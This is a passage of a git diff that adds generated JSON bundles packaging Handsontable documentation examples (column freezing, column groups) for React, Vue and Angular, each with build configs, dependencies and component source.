    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(50) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-freezing/react/example2.tsx","breadcrumb":["Columns","Column freezing"],"guide":"guides/columns/column-freezing/column-freezing.md","guideTitle":"Column freezing","exampleId":"example2","exampleTitle":"User-triggered freeze","docPermalink":"/column-freezing","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__vue__example1.vue.json new file mode 100644 index 00000000..053b959d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column freezing · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-freezing/vue/example1.vue","breadcrumb":["Columns","Column freezing"],"guide":"guides/columns/column-freezing/column-freezing.md","guideTitle":"Column freezing","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-freezing","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__vue__example2.vue.json new file mode 100644 index 00000000..116d85c4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-freezing__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column freezing · User-triggered freeze · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-freezing/vue/example2.vue","breadcrumb":["Columns","Column freezing"],"guide":"guides/columns/column-freezing/column-freezing.md","guideTitle":"Column freezing","exampleId":"example2","exampleTitle":"User-triggered freeze","docPermalink":"/column-freezing","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__angular__example1.ts.json new file mode 100644 index 00000000..11656a8f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column groups · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example1',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n nestedHeaders: [\n ['A', { label: 'B', colspan: 8 }, 'C'],\n ['D', { label: 'E', colspan: 4 }, { label: 'F', colspan: 4 }, 'G'],\n [\n 'H',\n { label: 'I', colspan: 2 },\n { label: 'J', colspan: 2 },\n { label: 'K', colspan: 2 },\n { label: 'L', colspan: 2 },\n 'M',\n ],\n ['N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W'],\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-groups/angular/example1.ts","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-groups","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__angular__example2.ts.json new file mode 100644 index 00000000..59c11561 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column groups · Example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example2',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n colWidths: 60,\n height: 'auto',\n nestedHeaders: [\n ['A', { label: 'B', colspan: 8 }, 'C'],\n ['D', { label: 'E', colspan: 4 }, { label: 'F', colspan: 4 }, 'G'],\n [\n 'H',\n { label: 'I', colspan: 2 },\n { label: 'J', colspan: 2 },\n { label: 'K', colspan: 2 },\n { label: 'L', colspan: 2 },\n 'M',\n ],\n ['N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W'],\n ],\n collapsibleColumns: [\n { row: -4, col: 1, collapsible: true },\n { row: -3, col: 1, collapsible: true },\n { row: -2, col: 1, collapsible: true },\n { row: -2, col: 3, collapsible: true },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-groups/angular/example2.ts","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example2","exampleTitle":"Example","docPermalink":"/column-groups","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__angular__example3.ts.json new file mode 100644 index 00000000..6e688199 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column groups · Choose which columns stay visible when collapsed · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example3',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['North America', 4200, 3800, 4500, 12500],\n ['Europe', 3100, 2900, 3300, 9300],\n ['Asia Pacific', 2600, 2400, 2800, 7800],\n ['Latin America', 1500, 1700, 1600, 4800],\n ['Middle East', 1200, 1300, 1450, 3950],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n colWidths: 90,\n height: 'auto',\n nestedHeaders: [\n ['Region', { label: 'Q1 2025', colspan: 4 }],\n [\n 'Region',\n { label: 'Jan', visibleWhen: 'expanded' },\n { label: 'Feb', visibleWhen: 'expanded' },\n { label: 'Mar', visibleWhen: 'expanded' },\n { label: 'Total', visibleWhen: 'collapsed' },\n ],\n ],\n collapsibleColumns: true,\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-groups/angular/example3.ts","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example3","exampleTitle":"Choose which columns stay visible when collapsed","docPermalink":"/column-groups","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__angular__example4.ts.json new file mode 100644 index 00000000..13131abd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column groups · Keep a group cohesive or let it split · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example4',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['$4.2M', '$3.8M', '$4.5M', '$4.1M', '$4.7M', '$5.2M'],\n ['$3.1M', '$2.9M', '$3.4M', '$3.6M', '$3.8M', '$4.0M'],\n ['$5.6M', '$5.9M', '$6.3M', '$6.1M', '$6.8M', '$7.2M'],\n ['$1.4M', '$1.6M', '$1.5M', '$1.7M', '$1.9M', '$2.1M'],\n ['$2.2M', '$2.0M', '$2.4M', '$2.5M', '$2.7M', '$2.9M'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: ['North America', 'Europe', 'Asia Pacific', 'Latin America', 'Middle East'],\n rowHeaderWidth: 120,\n height: 'auto',\n manualColumnMove: true,\n nestedHeaders: [\n // Q1 2025 is cohesive (the default); Q2 2025 opts into splitting.\n [\n { label: 'Q1 2025 (adopt mode)', colspan: 3 },\n { label: 'Q2 2025 (split mode)', colspan: 3, columnDropMode: 'split' },\n ],\n ['January', 'February', 'March', 'April', 'May', 'June'],\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { 